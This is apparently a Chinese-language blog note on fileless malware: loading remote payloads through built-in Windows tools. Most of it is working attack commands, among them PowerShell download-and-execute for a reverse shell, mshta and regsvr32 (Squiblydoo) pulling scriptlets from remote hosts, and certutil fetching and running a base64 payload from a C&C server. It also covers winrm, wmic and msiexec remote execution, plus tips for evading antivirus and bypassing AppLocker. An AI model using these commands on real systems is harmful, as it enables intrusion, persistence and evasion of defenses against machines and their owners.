传统的恶意软件(.exe)藏于磁盘的文件中,为了长期隐藏感染,需要修改注册表并连接到此文件。所谓的无文件落地,恶意程序不是以普通文件的方式存在,而是以脚本形式存在计算机中的注册表子项目中,以此来躲避杀软的检测,并且在Windows启动时都会调用注册表中的命令。因此无文件落地攻击包括两个流程:写入注册表(或者自运行)+ 加载远程载荷。当前该方法也可以用于绕过杀软、通过RCE漏洞直接getshell等。这里仅说下加载远程载荷的方法。
一、加载脚本常见的形式
1. 以恶意脚本的形式
利用Windows自带的解析器:PowerShell、VBScript、批处理文件和JavaScript,对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本,直接调用解析器运行(可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆)
2. 利用Windows自带的工具或脚本等原生工具
用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等,常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等,脚本类型的有:winrm.vbs、wmiexec.vbs、pubprn.vbs等
二、恶意脚本加载
1. Powershell.exe
以反弹一个简单的shell为例子,更多功能的脚本可参考PowerSploit和Nishang
powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Script.ps1'); Script [argv]"
2. Mshta.exe
Hta是HTML应用程序,大多数的Windows操作系统都支持Hta文件执行,利用Mshta.exe解析.hta文件执行,这里的.hta文件可以是本地的也可以是可访问的远程主机上的。这里以用Mshta.exe解释远程MSF生成.hta文件完成上线为例
在目标机器上运行 mshta http://192.168.190.135:8080/aljfYvJ7OqSI8.hta 即可完成上线
3. CScript.exe&WScript.exe
上述两个工具都可以解析运行vbs和js的脚本。但值得注意的是WScript是将输出结果以对话框的形式显示,而CScript是以命令行的形式显示输出结果。使用也很简单:cscript %TEMP%\log.vbs 或者 wscript C:\test.js
三、Windows原生工具加载
1. regsvr32.exe
直接加载dll完成上线,同样也可远程加载执行:regsvr32.exe /s /u /n /i:http://192.168.190.135/payload1.sct scrobj.dll
除了.dll外,也可以解析.sct文件,可以用GreatSCT制作payload
.sct文件必须是XML文件格式,要执行命令可以参考如下:
<?XML version="1.0"?> <scriptlet> <registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}" > <script language="JScript"> <![CDATA[ var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </registration> </scriptlet>
同样该技术(Squiblydoo)可以应用于持久化,绕过AppLocker,sct文件内容如下:
<?XML version="1.0"?> <scriptlet> <registration description="Component" progid="Component.TESTCB" version="1.00" classid="{20002222-0000-0000-0000-000000000002}" > </registration> <public> <method name="exec"> </method> </public> <script language="JScript"> <![CDATA[ function exec(){ new ActiveXObject('WScript.Shell').Run('calc.exe'); } ]]> </script> </scriptlet>
上述方法运行完regsvr32.exe /s /i:http://x.x.x.x/backdoor.sct scrobj.dll后,scrobj.dll会创建COM对象,并写入注册表中,可以从HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINE查看到,可以通过以下的js脚本调用触发:
var test = new ActiveXObject("Component.TESTCB"); test.exec()
2. certutil.exe
该程序是Windows下的一个证书服务的安装程序,可以下载、编码和解码证书。在实际的渗透环境中,我们也可以利用它来解决一些无法上传脚本的情况。
从指定URL下载文件保存到outfile.file:certuil.exe -urlcache -split -f [URL] outfile.file ;base64编码解码等
在渗透利用中可以将载荷进行base64编码输入到网站下,利用 certutil.exe 下载解码执行,完成上线
base64 payload.exe > /var/www/html/update.txt # 在C&C上生成经base64编码的exe certutril -urlcache -split -f http://cc_server/update.txt & certurl -decode update.txt update.exe & update.exe # 在目标执行
PS:虽然说certutril是Windows本身自带的程序,但是现在用上述的方法来下载东西杀软都会拦截。但是加一个-verifyctl 参数就可以很好解决这个问题,下载下来的是一个二进制文件,需要修改后缀名为原来的后缀名即可运行
需要注意的是:在Windows Server 2003 上使用certutril下载时利用第一种方式会显示文件的十六进制并在当前目录下生成.bin文件,将.bin文件修改为原来的后缀即可
3. winrm.vbs
WS-Management 协议是一种基于标准简单对象访问协议(SOAP)的防火墙友好协议,允许来自不同供应商的硬件和操作系统进行互操作。它可以用过一下两种方式实现命令执行:
(1)通过cscript.exe加载winrm.vbs脚本执行包含有执行命令的本地|UNC指定.xml文件,.xml文件内容如下:
<?xml version="1.0" encoding="UTF-8"?> <p:Create_INPUT xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process"> <p:CommandLine>calc.exe</p:CommandLine> <p:CurrentDirectory>C:\</p:CurrentDirectory> </p:Create_INPUT>
触发执行:
cscript C:\windows\system32\winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -file:.\obj.xm
同样,也可以采用UNC加载远程恶意可执行文件从而实现文件无落地的情况下执行命令,将calc.exe改为\\192.168.31.101\C$\calc.exe。但是此方法在Win7上执行失败,创建进程的id是空的
(2)通过cscript.exe加载winrm.vbs脚本执行要执行命令,用@{....}替代-file,运行如下命令:
Cscript C:\Windows\System32\winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck @{commandline="calc.exe"} # 或者缩写成如下: Winrm invoke Create wmicimv2/Win32_Process @{CommandLine="\\192.168.31.101\C$\calc.exe";CurrentDirectory="C:\"}
因为使用Winrm,需要注意的几点:
* Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动,运行winrm quickconfig开启服务
* Windows 2012 之后的版本默认允许远程任意主机来管理
* 防火墙要开放5985、5986端口通信
4. msiexec.exe
用于安装Windows Install安装包(.msi)。
C:\Windows\System32\msiexec.exe /q /i http://192.168.1.4/update.txt # update.txt是利用MSF生成的格式为msi的payload
5. wmic.exe
Windows管理工具,提供从命令行借口和批命令脚本执行系统管理的支持。
C:\Windows\SysWOW64\wbem\WMIC.exe os get /format:"http://192.168.1.4/test.xsl"
6. pubprn.vbs
在Windows 7 +,在C:\Windows\System32\Printing_Admin_Scripts目录下存在,可以利用来解析.sct脚本,命令如下:
pubprn.vbs 127.0.0.1 script:http://192.168.190.135/payload1.sct
PS:未完……待补充
参考链接:
http://blog.51cto.com/duallay/1979860
http://www.4hou.com/technology/10508.html
https://mp.weixin.qq.com/s/NxkHeYwddvHW9uv9ioyrxQ
No Leanote account ? Sign up now.